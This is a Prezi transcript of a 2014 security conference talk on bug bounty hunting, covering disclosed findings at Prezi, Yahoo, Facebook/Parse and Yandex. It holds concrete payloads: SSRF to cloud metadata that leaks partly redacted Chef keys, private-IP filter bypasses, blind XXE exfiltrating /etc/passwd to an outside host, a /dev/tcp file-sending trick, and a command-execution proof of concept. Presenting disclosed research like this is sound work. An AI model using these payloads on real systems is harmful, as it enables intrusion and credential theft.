Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

ZeroNights 2014 - Hunting for top bounties

Deutsche Telekom, Prezi, Yahoo, Facebook, ...
by

Nicolas Gregoire

on 17 January 2016

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of ZeroNights 2014 - Hunting for top bounties

Results
Specificity:
Most content in German

Methodology:
OWASP Top 10
Public (anon) exposure
They pay 50€ for duplicates!
6 dups
3 non dups
6 x 50€
100€ + 100€ + 150€
German-speaking application
Caught exceptions (everything returns 200)
User-friendly error messages
JSF directory traversal (CVE-2013-3827)
Unprotected ViewState
No clue? Let's ask Google
Now confirm with sqlmap
Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
Jul 9 2008 14:17:44
Copyright (c) 1988-2008 Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64>
(Build 7601: Service Pack 1) (VM)
1 non dup
1 000€
Low payouts
High number of dups
Language barrier
Cool bugs are out of scope!
No XML vulns found
If the data layer looks OK ...

... abuse the business logic
Everything is done client-side
<url>file://etc/passwd</url>
2 000€
If "PDF export" is done locally ...

... abuse "Portable export"
If the URL can't start with file:// ...

... abuse http://
A scaling threshold is triggered
A new VM instance is started
After booting, the VM fetches its own user-data
Usually a shell script
Downloaded from http://169.254.169.254/
The script is executed
Get latest configuration files and source code
Install and setup everything needed
The new VM integrates an existing pool
Auto-scaling 101
<url>http://169.254.169.254/latest/user-data/</url>
/etc/chef/client.rb
chef_server_url "https://api.opscode.com/organizations/prezi"
validation_client_name "prezi-validator"

/etc/chef/validation.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA09U/TBxe[...]iRLSo6sJTJm6RCk6qZqRxM7UCbBw=
-----END RSA PRIVATE KEY-----

/etc/chef/encrypted_data_bag_secret
gqrnkG+M/t/1/3KhCzRNEiMBL[...]IohHq2lil/P8fS21aZJkXYmHyKdMJ2qo=
2 000€
Used to streamline the task of configuring and maintaining a company's servers
http://en.wikipedia.org/wiki/Chef_(software)
Prezi's actions
Chef secrets
Moved to the AMI
Referenced by the user-data script
Readable only by root

HTTP requests
Detect HTTP redirects
Apply a black-list to the final URL
Prezi's code
If there's a black-list ...

... bypass it!

import urllib2, IPy
from socket import gethostbyname
from urlparse import urlparse

def has_private_ip(url, logger_func=None):

[... more checks ...]

# Confirm IP type is not private
is_private = IPy.IP(ip_address).iptype() == 'PRIVATE'
if is_private:
log('Invalid IP for URL (private): %s' % url)
return is_private
import IPy

loopback = [
'127.0.0.1', # Normal
'2130706433', # Integer
'0x7F000001', # Hexa
'0177.0000.0000.0001', # Octal
]

for ip in loopback:
print ip + ':',
try:
print IPy.IP(ip).iptype()
except:
print 'Problem in IPy'
IPy's code
IPv4ranges = {
'0': 'PUBLIC', # fall back
'00000000': 'PRIVATE', # 0/8
'00001010': 'PRIVATE', # 10/8
'01111111': 'PRIVATE', # 127.0/8
'1': 'PUBLIC', # fall back
'1010100111111110': 'PRIVATE', # 169.254/16
'101011000001': 'PRIVATE', # 172.16/12
'1100000010101000': 'PRIVATE', # 192.168/16
'111': 'RESERVED', # 224/3
}

def iptype(self):

bits = self.strBin()
for i in xrange(len(bits), 0, -1):
if bits[:i] in IPv4ranges:
return IPv4ranges[bits[:i]]
return "unknown"

My code
SQL injection
Long texts in German
One of them includes "2147217900"
127.0.0.1:
2130706433:
0x7F000001:
0x7f.0x0.0x0.0x1:
0177.0000.0000.0001:
Outcome
500 €
PRIVATE
PRIVATE
PRIVATE
PUBLIC
Problem in IPy
=> Chef compromise
Chef compromise ?
(low impact)
Yahoo Query Language
SELECT *
FROM table_name
WHERE param="foo"
Depending on the selected table:
Access to 3rd-party data (craiglist.search, ...)
Access to public Yahoo data (local.search, ...)
Access to Yahoo services (ymail.messages, ...)
Processing (xml, xslt, feednormalizer, ...)
Near-arbitrary HTTP requests (uri.data, xmlpost, ...)
XML Skills:
XML Skills:
XML Skills:
Vulnerable tables:
"xslt" (x2)
"feednormalizer"

Also in Open Data table definitions
Basic XXE
Reachable from:
Yahoo Pipes
YQL console
REST interface
<!DOCTYPE doc [
<!ENTITY % dtd SYSTEM "http://somewhere/dynamic.dtd">
%dtd;
]>
<not_really_empty/>
Blind XEE
<!ENTITY % yolo SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://somewhere/%yolo;/'>">
%c;
%rrr;
Most people consider that the value of a parameter entity defined dynamically in a DTD can't be displayed in the body. That's why HTTP/FTP OOB tricks are used
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xxx="http://xml.apache.org/xalan" version="1.0">
<xsl:template match="/">
<stolen>
<xsl:variable name="target">
<pwn>./libexec/tomcat/conf/server.xml</pwn>
</xsl:variable>
<xsl:copy-of select="document(xxx:nodeset($target)/pwn)" />
</stolen>
</xsl:template>
</xsl:stylesheet>
XSLT document()
When patching the previous XXE vulnerabilities, Yahoo forgot to desactivate dynamic DTD via External Parameter Entities
Blind XEE
select *
from feednormalizer
where url="http://somewhere/empty.xml"
and prexslurl="http://somewhere/not_so_empty.xml"
Thanks @a66at and @GiftsUngiven
http://scadastrangelove.blogspot.fr/2013/03/black-hat-xxe-oob-slides-and-tools.html
Thanks @d0znpp
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
DynDTD limitations
I agree. But why not using "something else" ?
Q: why using nodeset()?
+
DynDTD + XSLT
<!DOCTYPE doc [
<!ENTITY % dtd SYSTEM "http://somewhere/evil.dtd">
%dtd;
]>
<doc>
<file content="foobar"/>
</doc>
DynDTD + XSLT
<!ENTITY % yolo SYSTEM "file:///home/y/conf/yms_agent.conf.yml">

<!ENTITY % c "<!ENTITY foobar SYSTEM '_:fake_\n\n%yolo;' NDATA JPG>">
%c;
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

<xsl:template match="doc">
<stolen><xsl:apply-templates select="file"/></stolen>
</xsl:template>

<xsl:template match="file">
<xsl:value-of select="unparsed-entity-uri(@content)"/>
</xsl:template>

</xsl:stylesheet>
$4 150
$1 800
Basic XXE x 4
Blind XXE + document() + unparsed-entity-uri()
(10 months after the 1st batch)
Rewards
Looking for SSRF vulnerabilities may be slow. Or worse...
Why not abuse an existing feature?
Yahoo Query Language
SELECT *
FROM table_name
WHERE param="foo"
Depending on the selected table:
Access to 3rd-party data (craiglist.search, ...)
Access to public Yahoo data (local.search, ...)
Access to Yahoo services (ymail.messages, ...)
Processing (xml, xslt, feednormalizer, ...)
Near-arbitrary HTTP requests (uri.data, xmlpost, ...)
Intro
The Five Ws
Who?
Common misconceptions
"I heard you're doing bug bounties. Is your company going well?"
"Working for your own company + hunting bounties... Is your family OK with that?"
"20 days! Are you seriously earning more than half a billion per year?"
My own rules
Keep it fun (hard != boring)
Don't expect any money
Don't impact my daily life
Strictly respect the bounty rules
Write quality reports
Why?
Where?
When?
What?
Nicolas Grégoire aka @Agarri_FR
Max(Payout/Time)
Stupid bet
Since October 2013
Only during free time
Hunters' skills
Pieces of advice
Write good reports
Be opportunistic
JSONP injection
Search logs for patterns
XSS filter bypass
Use your influence
Thanks again for your submission, I can confirm that it is totally valid, a really nice report with an extremely nice finding.

Thanks! Also, the well written reports are VERY much appreciated!
Track acquisition dates
Rush during the first hours
So you can trick the program...
Scope = SQLI + RCE - LFI/RFI
Non HTTP port
Loopback
Trivial bypass
Scanning localhost
grep -v '^#' nmap-services |grep '/tcp' | sort -r -k3 |
cut -f2 | cut -d/ -f1

"Working as designed"
TCP/9466
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:ns="urn:ymon" >
[...]
</SOAP-ENV:Envelope>
#1
#3
#2
Looks promising?
Still looking for RCE
Can call any default Nagios plugins
Recent versions of Bash do syntaxic analysis before replacing variables
Scripts
Binaries
In SQL, that's called "prepared statements"
check_log
cat $src_file > $dst_file
"foo ; id ; bar" will not work
$src_file = /etc/*
$dst_file = /dev/tcp/1.2.3.4/80
check_log
cat $src_file > $dst_file
$src_file = /bin/bash
$dst_file = /home/y/libexec/nagios/my_bash
File created as 0644
check_log
cat $src_file > $dst_file
$src_file = /bin/bash
$dst_file = /home/y/libexec/nagios/check_nt
Fun fact
I had to infect every outbound proxy (i.e. copy bash to libexec/nagios/), in order to have to have an easy repro
Final PoC
select * from xmlpost
where url='http://nicob.net/redir-port-9466' and postdata=
'<SOAP-ENV:Envelope [...]><SOAP-ENV:Body>
<ns1:exec>
<cmd>nagios/check_nt</cmd>
<args>
<arg>-c</arg>
<arg>id;uname -a</arg>
</args>
<timeout>30</timeout>
</ns1:exec>
</SOAP-ENV:Body></SOAP-ENV:Envelope>'
Even if the exploitation was complex...
... the vulnerability is both simple and very old
Unrestricted
Outbound
Proxy
Maybe we can find another bounty program vulnerable to the same bug...
Prerequisites:
Server-side access to arbitrary URL
Proxied outbound HTTP requests
High level of control (method, headers, body)
venturebeat.com
Idea: overwrite an existing script
$15 000
First interaction
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Private IP addresses are forbidden
RFC 1918
Multicast
Ports < 1024 are forbidden
But 80 and 443
Redirects are handled correctly
Possible targets
Loopback interface + "internal" servers with public IP addresses
Strategy
Scan locahost from 1 to 65 535

Scan common DNS names
Ports found on localhost
Top 200 ports from nmap-services

For each IP with an open port, scan the full 65k
Cloud-hosted => can't scan by IP
Could easily go out of scope
Results
v8proxy.parse.com
build.parse.com
noc.parse.com
wiki.parse.com
No RCE?
I spent quite some time on Redis
cf. http://www.agarri.fr/blog/

3 weeks too early for

Relying on the analysis by
$20 000
Look around
@fin1te
(if compliant with your own rules)
@pwntester
@0x6D6172696F
@bitquark
@d0znpp
@CluelessSec
@Stephen
@woff_itsec
@ecbftw
@Nirgoldshlager
@reginaldojsf
And have fun!
Social networking
Skills (knowledge + practice)
Fun (CTF-like w/ good money)
Actively try to avoid duplicates
Reflected XSS
Out of scope
Analysis
SQL injection
Hunters' skills
OPTIONS
OPTIONS + WADL
1/3
2/3
Bounties
!= pentest: no duplicates, no boasting
!= CTF: no guaranteed vuln
Hunting for
Top Bounties

Nicolas Grégoire
Nicolas Grégoire
@Agarri_FR
Opportunistic mode
+
PoC
https://mail.yandex.com/neo2/
http://mc.yandex.ru/watch/160656/wmode=5&callback=pwn

http://translate.yandex.com/tr.json/translate/?lang=en-ru&srv=foo&callback=pwn
Target
Vectors
Reward
$550
Net result
50 000 dollars
in
20 days

...
Page not found
Restricted access
Please log in
...
3 ways to find it:
- inject blind MSSQL vectors
- read error messages and
- speak German or
- notice the large number
Since Dec. 2013:
DynDTD + XSLT
#1 A malicious XML document is loaded. This document calls an external DTD "evil.dtd" via parameter entity "%dtd"

#2 The external DTD loads the content of a server-side file in parameter entity "%yolo"


Cinematic
#4 XSLT magic is invoked in order to reveal the URI (aka server-side content) of the unparsed entity entity named "foobar"
#3 The external DTD dynamically creates an unparsed entity named "foobar". Its URI is based on the value of "%yolo"
Dynamic DTD can be used to create (unparsed) entities whose URL is constructed from remote file content
The unparsed-entity-uri() XSLT function returns the URI of the unparsed entity passed as an argument
Full transcript